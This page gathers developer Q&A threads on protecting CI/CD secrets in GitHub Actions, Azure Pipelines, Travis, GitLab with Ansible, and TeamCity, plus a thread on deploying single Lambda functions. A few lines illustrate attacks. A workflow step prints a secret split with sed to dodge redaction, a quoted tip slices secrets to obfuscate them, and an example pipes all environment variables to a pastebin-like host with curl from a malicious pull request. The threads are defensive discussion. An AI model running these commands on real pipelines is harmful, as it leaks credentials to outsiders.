Github Secrets are not really secured, how to secure secrets permanently - yaml

I don't know why Github secrets are really called secrets, because it can be printed out by any person working in organization with push access, i.e. they create branch use below trick to print secret and then delete the branch, and with snap of fingers any employee can take out secrets.
If there is optimal solution, kindly guide me to permanently secure my github action secrets.
steps:
- name: 'Checkout'
uses: actions/checkout#master
- name: 'Print secrets'
run: |
echo ${{ secrets.SOME_SECRET }} | sed 's/./& /g'

First off, GitHub has an article on Security hardening for actions, which contains some general recommendations.
In general, you want to distinguish between public and internal/private repositories.
Most of my following answer is on internal/private repositories, but if you're concerned about public repositories: Keep in mind that actions are not run on PRs from third parties until they are approved.
For internal/private repositories, you're going to have to trust your colleagues with some secrets. Going through the hassle of guarding all secrets to the extent that they can't be "extracted" by a colleagues is probably not worth the effort. And at that point, you probably also have to ask yourself what damage a malicious employee could do even without knowing these secrets (perhaps they have inside knowledge of your business, they work in IT so they might be able to put your services offline, etc). So you're going to have to trust them to some extent.
Some measures to limit the damage a malicious colleague could do:
Environment Secrets
You can create a secret for an environment and protect the environment.
For example, assume you want to prevent colleagues from taking your production secrets and deploy from their computers instead of going through GitHub actions.
You could create a job like the following:
jobs:
prod:
runs-on: ubuntu-latest
environment: production
steps:
- run: ./deploy.sh --keys ${{ secrets.PROD_SECRET }}
Steps:
Configure the secret PROD_SECRET as an environment secret for production
Create the environment production and setup protection rules
If you really want to be sure nobody does something you don't like, you can set yourself as a reviewer and then manually approve every deployment
Codeowners
You could use codeowners and protect the files in .github/workflows. more about codeowners
OIDC and reusable workflows
If you're deploying to some cloud environment, you should probably use OpenID Connect. That, combined with reusable workflows, can give you an additional layer of security: You can specify which workflow is allowed to deploy to production.

#rethab answer is great, I'll just add the answer I got from the Github Support after I contacted them for a similar issue.
Thank you for writing to GitHub Support.
Please note that it is not expected behavior that GitHub will redact every possible obfuscation of the secrets from the logs.
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-secrets
To help prevent accidental disclosure, GitHub uses a mechanism that
attempts to redact any secrets that appear in run logs. This redaction
looks for exact matches of any configured secrets, as well as common
encodings of the values, such as Base64. However, because there are
multiple ways a secret value can be transformed, this redaction is not
guaranteed.
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#exfiltrating-data-from-a-runner
To help prevent accidental secret disclosure, GitHub Actions
automatically redact secrets printed to the log, but this is not a
true security boundary because secrets can be intentionally sent to
the log. For example, obfuscated secrets can be exfiltrated using echo
${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};
Notice that in this case, what is being printed in the logs is NOT the secret that is stored in the repository but an obfuscation of it. Additionally, any user with Write access will be able to access secrets without needing to print them in the logs. They can run arbitrary commands in the workflows to send the secrets over HTTP or even store the secrets as workflows artifacts and download the artifacts.
You can read more about security hardening for GitHub Actions below:
https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions

Related

Run security checks before rurnning Azure Pipeline CI on public PR

I have a public repo. Random GitHub users are free to create pull requests, and this is great.
My CI pipeline is described in a normal file in the repo called pipelines.yml (we use Azure pipelines).
Unfortunately this means that a random GitHub user is able to steal all my secret environment variables by creating a PR where they edit the pipelines.yml and add a bash script line with something like:
export | curl -XPOST 'http://pastebin-bla/xxxx'
Or run arbitrary code, in general. Right?
How can I verify that a malicious PR doesn't change at least some critical files?
How can I verify that a malicious PR doesn't change at least some critical files?
I am afraid we could not limit the PR doesn't change at least some critical files.
As workaround, we could turn off automatic fork builds and instead use pull request comments as a way to manually building these contributions, which give you an opportunity to review the code before triggering a build.
You could check the document Consider manually triggering fork builds for some more details.

Deploying Single Lambda Function From CI/CD pipeline

I am dealing an infrastructure and trying to figure it out how to deploy just single lambda from CI/CD pipeline.
Let's say in a repo you have 20 lambdas, and you made change for one single lambda, instead of deploying all of them i just want to deploy the changed one so cut out the deployment time.
I've got an idea like checking difference from git and figure it out which ones are changed, and do deployment only that part of functionality, but it surely doesn't seem right way to do it. Believing there is more proper way to do it.
I am using terraform for now (moving to serverless framework) i know that terraform and serverless framework holds a state on s3 bucket. However on my case when i run it through pipelines, eventhogh there is a terraform state and there is no change on the state, it still deploys the whole thing as far as realised (i might be wrong). I just want to get clear my mind to see how people does this with their pipline.
Since you seem to be asking about both Terraform and Serverless Framework here, I'm assuming you're looking for a general answer rather than specifically how this would be solved with a particular tool.
One way to solve this problem is to decouple your build process from your deploy process by adding a version selection mechanism in between. This just means that somewhere in your system you have a value that can be written by your build process and read by your deploy process which indicates what is the "current" artifact for each of your Lambda functions.
When your build process completes successfully, it can write the information about the artifact it built into the appropriate location, and then trigger your deployment process. Your deployment process will then read the artifact information and use it to decide what to deploy.
If you have made no changes to the current artifact metadata for a particular function then the deploy process can see that and not do anything. If a particular artifact is flawed in some way and you only notice once it's deployed, you can potentially set the artifact metadata back to the previous one and re-run the deployment process to roll back. If you choose a data store that retains historical versions, you'll also have a log of changes to the current artifact which might be useful to understand circumstances that lead to an incident.
Without getting into specifics it's hard to say more about this. For Terraform in particular, the artifact metadata store ought to be something that Terraform can read using a data source. To show a real example I'm going to just arbitrarily choose AWS SSM Parameter Store as a location for that artifact metadata store:
data "aws_ssm_parameter" "foo" {
name = "FooFunctionArtifact"
}
locals {
# For this example, we'll assume that the stored parameter is a JSON
# string shaped like this:
# {
# "s3_bucket": "awesomecorp-app-artifacts"
# "s3_key": "/awesomeapp/v1.2.0/function.zip"
# }
foo_artifact = jsondecode(data.aws_ssm_parameter.foo)
}
resource "aws_lambda_function" "foo" {
function_name = "foo"
s3_bucket = local.foo_artifact.s3_bucket
s3_key = local.foo_artifact.s3_key
# etc, etc
}
The technical details of this will vary a lot depending on your technology choices. If you don't use Terraform then you'll either use a feature similar to data sources in your other tool or you'd write some wrapper glue code that can itself retrieve the necessary information and pass it into the tool as an argument.
The main thing, regardless of technology choices, is that there is an explicit record somewhere of what is the latest artifact for each function, which is updated by your build step and read by your deploy step. This pattern can apply to other artifact types too, such as AMIs for EC2, docker images, etc.
Seems you have added label of terraform, serverless-framework (I called it sls), and aws-lambda. So all of them work for you.
terraform - Terraform itself will care of the differences which lambda need be updated. But it is not lambda friendly if you need install related packages.
serverless framework (sls) - it is good to use to manage lambda functions, but as side effect, it has to be managed with api gateway together. I am not sure if sls team has fix this issue or not. Need some confirmations.
SLS will take care of installing related packages.
The bad part is, sls can't diff the resources to be deployed and to be planned.
cloudformation - that's AWS owned Infrastructure as Code (IaC) tool to manage aws resources, you should be fine to use it to manage the lambda resource. you will get same issues as Terraform that you have to install the related packages before deploy the stack.
Bad part is, cfn (cloudformation) doesn't have diff feature as well, furtherly, it doesn't have proper tools to manage its aws cli commands, you have to use others, such as shell scriping, Ansible or even Terraform to manage coudformation templates updates.
aws cdk - The newest way is using aws-cdk, it does have the diff feature cdk diff which is mostly suitable for your current job, but it is very new project, a lot of features are still waiting to be developed.
You can take these and think with your team's skill sets. Always choice the tools, which you and your team are most confident.

Travis CI Deploy Pull Requests

Having some trouble finding info on this, not sure exactly how I'd search for it so figured I'd just throw a question up here...
GitHub pull requests on Travis are pretty much ready to go out of the box, but...I'm interested in deploying each PR to an independent URL (staging.example.com/pull-request-01 or something like that..). It's possible that this is super simple and outlined in Travis' docs, but I'm having trouble finding it.
Does anyone have their CI setup like this?
Some of the documentation from Travis CI that I could find that will likely be useful in sorting out a full answer
Pull Requests -- Pull Requests and Security Restrictions
Environment Variables -- Defining Encrypted Variables in travis.yml
Deployment -- Conditional Releases with on
Deployment -- Heroku
TLD
Encrypted variables will only be available to Pull Requests issued from the same repository. Testing for environment variables and Git interaction that triggered Travis CI is required...
script:
- if [ "$TRAVIS_PULL_REQUEST" == true ]; then bash ./travis/run_on_pull_requests; fi
Once signed into the Travis CI command-line interface, encrypting enviroment variables looks somewhat like...
travis encrypt -r owner/project --pro SOMEVAR="secretvalue"
... then copy output from above (secure: ".... encrypted data ....") into the project's _travis.yml file.
I didn't see anything for DigitalOcean, but there's not much stopping anyone from writing their own script for such things, and for S3 deployment looks like Travis CI has some ready-made magics for such things to read up on (third link above)...
deploy:
provider: s3
access_key_id: "YOUR AWS ACCESS KEY"
secret_access_key: "YOUR AWS SECRET KEY"
bucket: "S3 Bucket"
skip_cleanup: true
on:
branch: release
condition: $MY_ENV = super_awesome
Few more answers for your questions
Does anyone have their CI setup like this?
I do not... yet. But I've been exploring Travis CI documentation for sometime and may edit this answer in the future to include more references.
I'm interested in deploying each PR to an independent URL (staging.example.com/pull-request-01 or something like that..) It's possible that this is super simple and outlined in Travis' docs, but I'm having trouble finding it.
Aside from the previously suggested reading material, you'll likely want to do some custom stuff within a run_on_pull_requests script.
Easiest route I can think up at this time would be parsing the commit hash such that URLs look a bit like staging.example.com/pull-request-4d3adbe3f.
Hints on how to maybe construct such a string in a Bash script...
printf 'pull-request-%s' "$(git rev-parse --short HEAD)"
_url="staging.example.com/pull-request-$(git rev-parse --short HEAD)"
I suggest the commit hash route because then anyone with permissions to open Pull Requests (from the given repository), has a predictable route for building the URL on their end.
Consider letting us all know if ya get stuck or fully solve it.
Figured out a cool way to do this! Here is a pretty self explanatory Gist that can help someone trying to do this on an Ember project, it could also probably inform any other code stacks..
https://gist.github.com/ChristopherJohnson25/7350169203a2ecfa9193785bede52bd3
This is also possible with Heroku Review Apps and Gitlab Review Apps. If you're using Docker you could also use this tool, which I built.

Deployment with Ansible from Gitlab CI, dealing with passwords

I'm trying to achieve an "password-free" deployment workflow using Gitlab CI and Ansible.
Some steps do require a password (I'm already using SSH Keys whenever I can) so I've stored those password inside an Ansible Vault. Next, I would just need to provide the Vault password when running the playbook.
But how could I integrate this nicely with Gitlab CI?
May I register a gitlab-ci job (or jobs are suitable for builds only?), which just runs the playbook providing the vault password somehow?! Can this be achieved without a password laying around in plain text?!
Also, I would be really happy if someone can point me some material that shows how we can deploy builds using Ansible. As you can notice, I've definitively found nothing about that.
You can set an environment variable in the GitLab CI which would hold the Ansible Vault password. In my example i called it $ANSIBLE_VAULT_PASSWORD
Here is the example for .gitlab-ci.yml:
deploy:
only:
- master
script:
- echo $ANSIBLE_VAULT_PASSWORD > .vault_password.txt
- ansible-playbook -i ansible/staging.yml --vault-password-file .vault_password.txt
Hope this trick helps you out.
I'm not super familiar with gitlab ci, or ansible vault for that matter, but one strategy that I prefer for this kind of situation is to create a single, isolated, secure, and durable place where your password or other secrets exist. A private s3 bucket, for example. Then, give your build box or build cluster explicit access to that secure place. Of course, you'll then want to make sure your build box or cluster are also locked down, such as within a vpc that isn't publicly accessible and can only be accessed via vpn or other very secure means.
The idea is to give the machines that need your password explicit knowledge of where to get it AND seperately the permission & access they need to get it. The former does not have to be a secret (so it can exist in source control) but the latter is virtually impossible to attain without compromising the entire system, at which point you're already boned anyway.
So, more specifically, the machine that runs ansible could be inside the secure cluster. It knows how to access the password. It has permission to do so. So, it can simply get the pw, store as a variable, and use it to access secure resources as it runs. You'll want to be careful not to leak the password in the process (like piping ansible logs with the pw to somewhere outside the cluster, or even anywhere perhaps). If you want to kick off the ansible script from outside the cluster, then you would vpn in to run the ansible playbook on the remote machine.

How can I use TeamCity to do Production releases safely?

We currently use TeamCity to build a deployment artifact, then a further TeamCity task takes that artifact and deploys it to our development and testing servers on demand.
We can store the passwords and other secret data in properties files that we can check into source control, as these are all internal servers and the developers have full access to them.
However for release to Production (and our final test layer) there are secret passwords and configuration that we don't want checked into the normal source control, or to have development be able to discover the passwords. So to do 'real' deployments we have to hand the artifact over to another team and they maintain a properties file with the production values.
What methods exist to store these secrets and allow TeamCity to run a deploy without ever leaking the secrets out?
(note I am one of the devs and it is not a trust issue... I don't want to have the ability to find out prod passwords so I can never accidently know them and do some horrific damage!)
Probably what you need here, is to create a separate project with narrower scope of permissions (for example, allow only certain people to edit build configurations). In this project create a build configuration, responsible for deployment. In this configuration, you can define a Typed Parameter of type 'password' to store the password to the production environment.
Another option is to use Deployer Plugin, especially its ability to deploy over ssh with private key authentication
If you are OK to use a third party solution, consider using a solution like CloudMunch which can help you to perform release management functions with these secure parameters collected at deploy time and encrypted post deployment.
Disclaimer: I work with CloudMunch
You can do 2 things.
Use a teamcity project to deploy artefacts for production only. This will only be accessible to ops members.
Teamcity also supports running agents with different user ids. You can create a new user id which can have access to the production "secrets" (passwords and configuration). Use this id to run the targets in the 1st step.

Resources